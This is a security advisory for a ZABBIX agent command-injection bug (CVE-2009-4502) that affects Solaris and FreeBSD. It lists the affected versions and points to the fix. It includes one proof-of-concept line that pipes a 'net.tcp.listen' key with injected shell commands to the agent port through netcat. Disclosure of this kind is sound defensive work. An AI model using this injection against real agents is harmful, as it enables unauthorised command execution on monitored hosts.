ZABBIX 'NET_TCP_LISTEN()' Security Bypass Vulnerability

Bugtraq ID:	37306
Class:	Input Validation Error
CVE:	CVE-2009-4502
Remote:	Yes
Local:	No
Published:	Dec 14 2009 12:00AM
Updated:	Jan 28 2010 06:11PM
Credit:	Igor Danoshaites
Vulnerable:	ZABBIX ZABBIX 1.6.6 ZABBIX ZABBIX 1.6.3 ZABBIX ZABBIX 1.6.2 ZABBIX ZABBIX 1.4.3 ZABBIX ZABBIX 1.4.2 ZABBIX ZABBIX 1.1.5 ZABBIX ZABBIX 1.1.4 ZABBIX ZABBIX 1.1.3 ZABBIX ZABBIX 1.1.2
Not Vulnerable:	ZABBIX ZABBIX 1.6.7

ZABBIX 'NET_TCP_LISTEN()' Security Bypass Vulnerability

ZABBIX is prone to a security-bypass vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to bypass certain security restrictions and execute arbitrary commands within the context of the affected application.

Versions prior to ZABBIX 1.6.7 are vulnerable.

NOTE: This issue affects ZABBIX installed on Solaris and FreeBSD only.

ZABBIX 'NET_TCP_LISTEN()' Security Bypass Vulnerability

The following example command is available:

echo "net.tcp.listen[80';id;echo ']"|nc -vn xxxxx 10050

ZABBIX 'NET_TCP_LISTEN()' Security Bypass Vulnerability

Solution:
Updates are available. Please see the references for details.

ZABBIX 'NET_TCP_LISTEN()' Security Bypass Vulnerability

References:

• [#ZBX-1032] Bypassing EnableRemoteCommands=0 in Zabbix Client. (Igor Danoshaites)
  
• ZABBIX Homepage (ZABBIX)
  
• Zabbix Agent : Bypass of EnableRemoteCommands=0 (Nicob )